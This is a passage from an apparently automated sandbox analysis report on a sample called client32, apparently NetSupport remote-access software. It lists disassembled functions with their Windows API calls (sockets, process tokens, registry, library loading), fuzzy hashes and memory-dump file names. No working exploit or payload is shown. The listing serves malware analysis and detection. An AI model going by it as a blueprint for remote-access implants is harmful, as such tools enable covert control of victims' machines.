Opcode Fuzzy Hash: f3031245be8cca8daca63661d5ebf3f85c00e07d5324add31e8ecbca0796b44d
Instruction Fuzzy Hash: 7B51A175600216AFDB90CF59CC80FAAB7A5FF89744F108459FD29DB245DB31E901CBA1

Function 6C4D8FB0 Relevance: 4.6, APIs: 3, Instructions: 57networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C4D8FE4
getsockname.WSOCK32(?,?,00000010,?,02CC2E28,?), ref: 6C4D9005
WSAGetLastError.WSOCK32(?,?,00000010,?,02CC2E28,?), ref: 6C4D902E

Part of subcall function 6C4D5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6C4D8F91,00000000,00000000,6C51B8DA,?,00000080), ref: 6C4D5852

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast_memsetgetsocknameinet_ntoa
String ID:
API String ID: 3066294524-0
Opcode ID: b481686b6a69906665d9d1eb9b95018a5e2d2acdeca7113f2ac56508c4660a2f
Instruction ID: 3646d319aa0dd3ba36d5a49219b587e58b78bf8549918980dae03182b8bc61c3
Opcode Fuzzy Hash: b481686b6a69906665d9d1eb9b95018a5e2d2acdeca7113f2ac56508c4660a2f
Instruction Fuzzy Hash: 44112171E00118AFCB00DFA9DC01DFEB7B8EB89214F41456EED15E7640EB71AA158BD1

Function 1110E4E0 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110E50A
__wsplitpath.LIBCMT ref: 1110E525

Part of subcall function 11165724: __splitpath_helper.LIBCMT ref: 11165766

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1110E559

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: d0ae845c008ba612aed68590da51c112f65d12f644144d95634fe5507c5d2274
Instruction ID: d9ab0b369c0afb8d0b67032d2f04fd61fe2dce600b1b24ca6ae8626ff4d5541e
Opcode Fuzzy Hash: d0ae845c008ba612aed68590da51c112f65d12f644144d95634fe5507c5d2274
Instruction Fuzzy Hash: 9A11C435A4021DABDB14CB94CC42FEDF3B8AF48B04F508095E7246B1C0E7B03A08CB65

Function 1109DA90 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F5814,00000001,1113DB48,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DAB1
OpenProcessToken.ADVAPI32(00000000,?,?,110F5814,00000001,1113DB48,_debug,TraceCopyData,00000000,00000000,?,?,00000002,00000000), ref: 1109DAB8

Part of subcall function 1109D9C0: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,7622F550,?,00000000), ref: 1109D9F8
Part of subcall function 1109D9C0: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109DA14
Part of subcall function 1109D9C0: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,w,?,00000001,00000001), ref: 1109DA40
Part of subcall function 1109D9C0: EqualSid.ADVAPI32(?,00770AE0,?,00000001,00000001), ref: 1109DA53

CloseHandle.KERNEL32(00000000,00000000,?,?,00000002,00000000), ref: 1109DAD7

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 0a11e81a47c636721ab322bbb7c70e85b81e34e30720f5ccd422e263b73b106f
Instruction ID: 12af53fa4518c4cef8f6be965a5b7c49cdda7d2120c7f2b3a3d7e7081ea0e2d2
Opcode Fuzzy Hash: 0a11e81a47c636721ab322bbb7c70e85b81e34e30720f5ccd422e263b73b106f
Instruction Fuzzy Hash: 45F05870A01319EFCB05CFE5D88492EBBB8AF08208710847DE959C3204E631DA009F61

Function 1110C7D0 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111EB8B8,8F98CBB2,?,?,?,?,-00000001,1117DED8,000000FF,?,1110C8A8,00000001,?,11165D63,?), ref: 1110C804
EnterCriticalSection.KERNEL32(111EB8B8,8F98CBB2,?,?,?,?,-00000001,1117DED8,000000FF,?,1110C8A8,00000001,?,11165D63,?), ref: 1110C820
LeaveCriticalSection.KERNEL32(111EB8B8,?,?,?,?,-00000001,1117DED8,000000FF,?,1110C8A8,00000001,?,11165D63,?), ref: 1110C868

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 2f47e98770097156cb0d0458bb8c8cfa48597fdfb0496529848de5c0d5552423
Instruction ID: 50d3bf07ed62f8ac72a98081e9d6b0947c4259180a8386ba1c61d2c4731b2f26
Opcode Fuzzy Hash: 2f47e98770097156cb0d0458bb8c8cfa48597fdfb0496529848de5c0d5552423
Instruction Fuzzy Hash: 3011A775A017699FE7028F99C9C8F6EF7A8FB45624F40416AE911A3340D77459008BA8

Function 11068020 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 110680E2

Strings

??CTL32.DLL, xrefs: 110680A3

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: 7971f279d7d3cfff8ecc60b53df71e93e16cc9cf1870f0795933491e91db9ea6
Instruction ID: c99c764ec1416419f4c197087b51ca8dd5e24f53ef7ae7073ac2675aa7219947
Opcode Fuzzy Hash: 7971f279d7d3cfff8ecc60b53df71e93e16cc9cf1870f0795933491e91db9ea6
Instruction Fuzzy Hash: 1631E4B1A04345DFEB10CF18CC40B9AB7E8FB45724F0086AAF9199B381E731AA41C792

Function 11026750 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 1102677D

Strings

?:\, xrefs: 11026772

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: 7d105d5d3264686d78cdf600d1dbc63e035611bd93bacff97ebf5262afd1c0b3
Instruction ID: d8c01f969ecf2c29a93709725c3449b70f9be736d4b520bc1f9c87181eda743e
Opcode Fuzzy Hash: 7d105d5d3264686d78cdf600d1dbc63e035611bd93bacff97ebf5262afd1c0b3
Instruction Fuzzy Hash: E4F0B460C043D63AEB22CE60A84858ABFD85F06368F54C8DEDCD847541E175E58887D1

Function 110EAE40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110EAE00: RegCloseKey.KERNEL32(?,00000000,?,110EAE4D,00000000,00000000,?,?,1102FF05,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110EAE0D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,00000000,00000000,?,?,1102FF05,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110EAE5C

Part of subcall function 110EABE0: wvsprintfA.USER32(?,00020019,?), ref: 110EAC0B

Strings

Error %d Opening regkey %s, xrefs: 110EAE6A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: 53e9fb253a4287a341c73d02f727563da9f9b6b721f03677b0c3a90dab78a470
Instruction ID: 4d89cd16a1625618031adfcaa25819016af2246adc29496c5a5b5e28358148cc
Opcode Fuzzy Hash: 53e9fb253a4287a341c73d02f727563da9f9b6b721f03677b0c3a90dab78a470
Instruction Fuzzy Hash: FFE0927A6012197FD610D61A9C84FEBBB9EDBC97A5F014026FA0487301D971DC4082B0

Function 110EAE00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,00000000,?,110EAE4D,00000000,00000000,?,?,1102FF05,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110EAE0D

Part of subcall function 110EABE0: wvsprintfA.USER32(?,00020019,?), ref: 110EAC0B

Strings

Error %d closing regkey %x, xrefs: 110EAE1D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: bf2cb42bd1d4fec1ce861f8694e72a294b6657dfff79836fab25dd89d3f690cf
Instruction ID: bd179f7716da66a3807671a10f2348160800437e138971cde355680c42375fa2
Opcode Fuzzy Hash: bf2cb42bd1d4fec1ce861f8694e72a294b6657dfff79836fab25dd89d3f690cf
Instruction Fuzzy Hash: 30E08675A021529FD7359A1EAC14F57BAD98FC8310F12446DB941C3300DA60C8418661

Function 11142710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102D8B4,11026190,0247B808,?,?,?,00000100,?,?,00000009), ref: 11142729

Part of subcall function 11141A40: GetModuleHandleA.KERNEL32(NSMTRACE,11190A88), ref: 11141A5A

Strings

NSMTRACE, xrefs: 11142724

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: 8beb4f556fec5ca0009409a56a41a7e1414e5d19b01f190c2086f714a11354c4
Instruction ID: 71c80b7cce2516af000ccf1821517937791f77bfdcac948dd18e5afb39fc50bc
Opcode Fuzzy Hash: 8beb4f556fec5ca0009409a56a41a7e1414e5d19b01f190c2086f714a11354c4
Instruction Fuzzy Hash: 41D05E31281A37CBDB079FEAA4A61B9F7E8B70460E3140075DA26C2B04EB70E0408B79

Function 6C4D4F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,6C4D8DC8), ref: 6C4D4F78

Strings

psapi.dll, xrefs: 6C4D4F71

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: df1dae7f3570ac931393e4c380cb94b7480b9f589f59f65ac0f88b45e851332d
Instruction ID: 518f16e550ff9841755bc76017a807395e32a6514a753f1aca96c63470ecec1a
Opcode Fuzzy Hash: df1dae7f3570ac931393e4c380cb94b7480b9f589f59f65ac0f88b45e851332d
Instruction Fuzzy Hash: 52E009B1901B108F87B0CF399904642BEF0BB586503118E2E909EC3A00E730A5848F80

Function 11025980 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,1102FC64), ref: 11025988

Strings

psapi.dll, xrefs: 11025981

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: dad11223205508537e44fd2c16bfa07601dbeeaf6f3e83892d3386c1115941cb
Instruction ID: e7d689bb3e0256121f65424e75b73c3f9b38c7483ec2d975ead7d22227fa1e2d
Opcode Fuzzy Hash: dad11223205508537e44fd2c16bfa07601dbeeaf6f3e83892d3386c1115941cb
Instruction Fuzzy Hash: 7DE009B1A01B118FC3B0CF3A9544646BAF0BB186103118A3ED0AEC3A00E330A5448F90

Function 11015190 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102E930,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1101519E

Strings

nslsp.dll, xrefs: 11015193

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

